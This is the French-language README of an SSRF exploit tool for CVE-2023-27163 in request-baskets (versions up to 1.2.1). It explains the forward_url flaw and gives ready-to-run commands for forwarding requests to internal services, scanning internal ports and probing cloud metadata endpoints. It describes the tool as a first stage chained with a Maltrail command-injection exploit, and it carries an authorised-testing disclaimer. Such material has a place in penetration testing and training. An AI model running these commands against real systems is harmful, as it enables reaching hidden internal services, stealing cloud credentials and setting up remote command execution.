
Exploit SSRF pour CVE-2023-27163 dans request-baskets, permettant le scan de ports internes, le sondage de métadonnées cloud et la découverte de services via le transfert malveillant de paniers.
J'ai écrit cet exploit pour cibler CVE-2023-27163, une vulnérabilité de falsification de requête côté serveur (SSRF) trouvée dans request-baskets versions ≤ 1.2.1. Le défaut se trouve dans le point de terminaison /api/baskets/{name}, où le paramètre forward_url permet à un attaquant de faire émettre au serveur des requêtes HTTP arbitraires en son nom.
L'exploit crée un « panier » malveillant configuré avec un forward_url pointant vers une cible interne. Toute requête faite au point de terminaison de ce panier est transmise par le serveur vers l'URL spécifiée, transformant ainsi le serveur en un proxy SSRF.
requests library (pip install requests)usage: exploit.py [-h] -t TARGET [-f FORWARD_URL] [--proxy-response]
[--insecure-tls] [--no-expand-path] [--capacity CAPACITY]
[--scan-host SCAN_HOST] [--ports PORTS] [--scan]
[--discover] [--cloud-metadata] [--timeout TIMEOUT]
[--delay DELAY]
# Basic SSRF forward to an internal service
python3 exploit.py -t http://192.168.1.100:55555 -f http://127.0.0.1:80/admin
# Port scan an internal host
python3 exploit.py -t http://192.168.1.100:55555 --scan-host 127.0.0.1 --scan
# Probe cloud metadata endpoints
python3 exploit.py -t http://192.168.1.100:55555 --cloud-metadata
# Proxy mode (returns the forwarded response body)
python3 exploit.py -t http://192.168.1.100:55555 -f http://127.0.0.1:80 --proxy-response
# Custom port range scan
python3 exploit.py -t http://192.168.1.100:55555 --scan-host 10.0.0.2 \
--ports 80,443,3000,5000,8000,8080,9000
J'ai construit cet outil à des fins éducatives et pour des tests de sécurité autorisés uniquement. Ne l'utilisez pas contre des systèmes sans autorisation explicite.
Cet exploit SSRF peut être utilisé comme point d'entrée initial pour atteindre des services internes qui ne sont pas directement exposés. Je l'ai conçu pour fonctionner en parallèle avec le Maltrail-v0.53-Exploit — le tunnel SSRF vous permet de toucher une instance Maltrail tournant sur localhost et de déclencher l'injection de commandes à travers elle.